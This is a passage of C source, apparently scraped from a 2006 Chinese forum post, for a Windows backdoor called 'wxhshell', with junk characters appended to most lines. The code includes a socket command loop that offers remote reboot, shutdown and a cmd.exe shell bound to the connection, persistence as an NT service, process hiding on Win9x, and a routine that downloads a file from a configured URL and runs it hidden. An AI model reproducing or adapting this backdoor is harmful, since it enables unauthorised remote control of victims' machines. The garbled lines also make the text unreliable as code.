  else { `\uv+^x{  
Mj;'vm7#'  
    switch(cmd[0]) { ^/YAokj  
  @G{DOxE*  
  // 帮助 jJnBwHp  
  case '?': { r?>Hg+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ! \Kh\  
    break; 7lOiFw  
  } At|tk  
  // 安装 5Rp2O4Z  
  case 'i': { wi >ta  
    if(Install()) 8jx1W9=`9[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ZC=!|Q#  
    else q &o=4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ?wY.B  
    break; w`_9*AF9  
    } FaM~ 56Pa  
  // 卸载 !XC7F UO  
  case 'r': { e28#Yh@U  
    if(Uninstall()) pQ\ [F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a5&j=3)|  
    else 5X-(@GwN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /LzNr0>2  
    break; sva$@y7b  
    } Y{@[)M{<  
  // 显示 wxhshell 所在路径 @jeV[N,0  
  case 'p': { 1 j8,Zrg1  
    char svExeFile[MAX_PATH]; ?g.w%Mf*  
    strcpy(svExeFile,"\n\r"); ~ $&  
      strcat(svExeFile,ExeFile); *k$&Hcr$  
        send(wsh,svExeFile,strlen(svExeFile),0); ~?r6Ax-R  
    break; g5[3[Z(.  
    } 56dl;Z)  
  // 重启 DdgFBO  
  case 'b': { S3f BZIPp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /#5ZP\e  
    if(Boot(REBOOT)) JN!YRcj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bnv%W4  
    else { Y8(yOVy9  
    closesocket(wsh); 39CPFgi<l*  
    ExitThread(0); nU)f]4q{Ec  
    } ~K`bl W47  
    break;  ovO^uWz`  
    } X}Fv*  
  // 关机 V ZGhF!To  
  case 'd': { 3 Gkw.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HC+R :Dz  
    if(Boot(SHUTDOWN)) 10 ^=1@U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); / [M~##%:  
    else { Rz]bCiD3 B  
    closesocket(wsh); -9EbU7>!  
    ExitThread(0); *<1m 2t>.  
    } UHWun I S  
    break; d8po`J#nb  
    } ZW"J]"A  
  // 获取shell NKws;/u  
  case 's': { ImVe 71mh  
    CmdShell(wsh); ^;d;b<  
    closesocket(wsh); /_8V+@im  
    ExitThread(0); G39t'^ZK*#  
    break; G1|:b-C  
  } 8iRQPV-"_  
  // 退出 fkM4u<R^  
  case 'x': { Tj:F Qnx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mx2 Jt1  
    CloseIt(wsh); B7;MY6h#  
    break; " B1' K8  
    } [cq>QMW  
  // 离开 W2^R$"U  
  case 'q': { DS yE   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \b->AXe8  
    closesocket(wsh); lk|/N^8M  
    WSACleanup(); 4M}/PoJ  
    exit(1); <:w7^m  
    break; zFI bCv8  
        } #]2u!a ma  
  } .:}\Z27-c  
  } !=pemLvH  
Zh$Z$85p  
  // 提示信息 :gXj( $  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H b.oKo$T  
} jBM>Pe^`3  
  } Up:#Zs2  
_19k@a  
  return; n~Ix8|S h  
} KH-.Z0 2U  
0#G"{M  
// shell模块句柄 5"+* c@L  
int CmdShell(SOCKET sock) w}iflAnjq  
{ Wo&i)S<i0F  
STARTUPINFO si; HDYf^mcW  
ZeroMemory(&si,sizeof(si)); 1EN5ZN,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N{'k ]&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u4Sa4o  
PROCESS_INFORMATION ProcessInfo; @0G} Q  
char cmdline[]="cmd"; Oe?nX>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =o {`vv  
  return 0; m~v Ie c  
} b$BUo8O}  
qQb8K+t  
// 自身启动模式 ,AJd2ix  
int StartFromService(void) uBM1;9h  
{ 6 -oQs?  
typedef struct *oF{ R^  
{ L:31toGK  
  DWORD ExitStatus; g$+3IVq&  
  DWORD PebBaseAddress; lm+wjhkN  
  DWORD AffinityMask; .]" o-(gB  
  DWORD BasePriority; @{bf]Oc  
  ULONG UniqueProcessId; "/q6E  
  ULONG InheritedFromUniqueProcessId; *Q)+Y&qn  
}   PROCESS_BASIC_INFORMATION; TnC'<zm9 !  
uaS?y1:c  
PROCNTQSIP NtQueryInformationProcess; KS%,N _F<  
DP?gozm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zy<0'k%U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $h2h&6mH  
!({[^[!  
  HANDLE             hProcess; 7':|f"  
  PROCESS_BASIC_INFORMATION pbi; aW"BN 5eM>  
F/&&VSv>LO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I?1^\s#L  
  if(NULL == hInst ) return 0; % $J^dF_0  
\d6A<(!=v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {BF$N#7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Dd*C?6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x[_+U4-/  
Ft07>E$/Q^  
  if (!NtQueryInformationProcess) return 0; %rf<YZ.\  
C 9DRVkjj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CkOd>Kn  
  if(!hProcess) return 0; f#!Ljjf$;  
8r~4iVwg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rtPQ:CaA)?  
wy7f7zIa  
  CloseHandle(hProcess); v +7<}  
Ts.6 1Rx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oRCj]9I$  
if(hProcess==NULL) return 0; XX+4X*(o  
^mH^cP?/  
HMODULE hMod; G-Y8<mEh  
char procName[255]; Baq&>]  
unsigned long cbNeeded; s01n[jQ  
x]F:~(P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M]oaWQu  
PJ);d>tz  
  CloseHandle(hProcess); V ] Z{0  
gI[x OK#  
if(strstr(procName,"services")) return 1; // 以服务启动 q$\KE4v"  
Ygg+*z  
  return 0; // 注册表启动 ?(E$|A  
} 5Ba eHzI  
SlmgFk!r!  
// 主模块 Z5v\[i@H!  
int StartWxhshell(LPSTR lpCmdLine) SoCa_9*X  
{ ;XANIT V  
  SOCKET wsl; Nl0*"}`I_  
BOOL val=TRUE; }e1f kjWk  
  int port=0; h]I ^%7  
  struct sockaddr_in door; Z[ys>\_To  
=ove#3  
  if(wscfg.ws_autoins) Install(); /op8]y  
E<0Y;tR  
port=atoi(lpCmdLine); "Ln)v   
  \\6/"  
if(port<=0) port=wscfg.ws_port; HG{OkDx]fl  
<&B)i\j8=b  
  WSADATA data; G/b $cO}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Uh{|@D  
@?TOg{:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {ymD.vf=9+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K;Fy&p^d  
  door.sin_family = AF_INET; rxt)l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?nE<Aig  
  door.sin_port = htons(port); uq'T:d  
A3MVNz$wo"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  2>p>AvcK  
closesocket(wsl); ?m0|>[j  
return 1; SIVzc Hm  
} b0t/~]9G  
sZ_+6+ :  
  if(listen(wsl,2) == INVALID_SOCKET) { Ubv<3syR'  
closesocket(wsl); |pA3ZWm  
return 1; z]K:Amp;Z  
} 'V/+v#V+>  
  Wxhshell(wsl); eX>x +]l6  
  WSACleanup(); Rjt]^gb!*  
TF2'-"2Y  
return 0; h<JV6h:8  
C`Zz\DNG@  
} &Yb!j  
O(#DaFJv  
// 以NT服务方式启动 saY":fva  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CKCot  
{ 4"7/+6Z  
DWORD   status = 0; w6aq/m"'  
  DWORD   specificError = 0xfffffff; G?*)0`~W  
FbhF45H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <<4U:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yJNQO'wcv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @X5F$=aqZr  
  serviceStatus.dwWin32ExitCode     = 0; d[=~-[  
  serviceStatus.dwServiceSpecificExitCode = 0; JYc;6p$<i  
  serviceStatus.dwCheckPoint       = 0; R `  
  serviceStatus.dwWaitHint       = 0; c<Fr^8  
/?VwoSgV^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >8PGyc*9  
  if (hServiceStatusHandle==0) return; vq=nG]cE)  
EZypqe):/C  
status = GetLastError(); +8h!@  
  if (status!=NO_ERROR) XcL jUz?  
{ q8#zv_>K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Qq+$ea?>  
    serviceStatus.dwCheckPoint       = 0; x}B3h9]  
    serviceStatus.dwWaitHint       = 0; [7 _1GSS1  
    serviceStatus.dwWin32ExitCode     = status; y\k#83aU|  
    serviceStatus.dwServiceSpecificExitCode = specificError; opqY@>Vh&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y`3V&8X  
    return; 8#L V oR  
  } vY)5<z&  
*3 8 u ~n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n<3qr}ZG^  
  serviceStatus.dwCheckPoint       = 0; RzhAX I=  
  serviceStatus.dwWaitHint       = 0; wNl{,aH@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wwaw|$  
} &L`^\B]k|  
VH M&Y-G  
// 处理NT服务事件,比如:启动、停止 FLUvFD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6 );8z!+  
{ x,L<{A`z  
switch(fdwControl) v(=?@ tF}E  
{ zi%Ql|zI~  
case SERVICE_CONTROL_STOP: eI%9.Cx#I  
  serviceStatus.dwWin32ExitCode = 0; @S9^~W3G3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <<w*_GM  
  serviceStatus.dwCheckPoint   = 0; }2%L 0  
  serviceStatus.dwWaitHint     = 0; As{"B  
  { QNWGUg4*&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5Q7Z$A1a 9  
  } C8Ja>o2'  
  return; rel_Z..~  
case SERVICE_CONTROL_PAUSE: Nux  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4]G J+a  
  break; FJQ=611@  
case SERVICE_CONTROL_CONTINUE: Uhs/F:E[A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4Dy|YH$>S  
  break; duQ ,6  
case SERVICE_CONTROL_INTERROGATE: TAB'oLNp  
  break; 1 K(0tG:5  
}; sD#*W<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m)Ta5w^  
} 3LRBH+Tt  
^m Ua5w  
// 标准应用程序主函数 6U9F vPJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q%r KKOX8  
{ {:] u 6l  
iVT)V>Up  
// 获取操作系统版本 cS#yfN,  
OsIsNt=GetOsVer(); L9{y1'')  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t#d{hEr  
4v.{C"M  
  // 从命令行安装 \r1nMw3&  
  if(strpbrk(lpCmdLine,"iI")) Install(); UMUG~P&@  
Q@ua G,6  
  // 下载执行文件 twMDEw#VL  
if(wscfg.ws_downexe) { "O~7s}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zb3,2D+P  
  WinExec(wscfg.ws_filenam,SW_HIDE); O@HL%ha  
} ^u(-v/D9  
(&MtK1;;  
if(!OsIsNt) { E5qt~:C|  
// 如果时win9x,隐藏进程并且设置为注册表启动 # Rhtaq9  
HideProc(); &yRR!1n)H  
StartWxhshell(lpCmdLine); fG zx;<0P!  
}  qC6@  
else >N~orSw%  
  if(StartFromService()) s~06%QEG  
  // 以服务方式启动 ^P|Zze zwU  
  StartServiceCtrlDispatcher(DispatchTable); BD- c<K"  
else Dy&{PeE!  
  // 普通方式启动 5[LDG/{Tys  
  StartWxhshell(lpCmdLine); /Z~5bb(  
LNcoTdv}k  
return 0; > -,$  
}
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只看该作者 1 发表于: 2006-10-10
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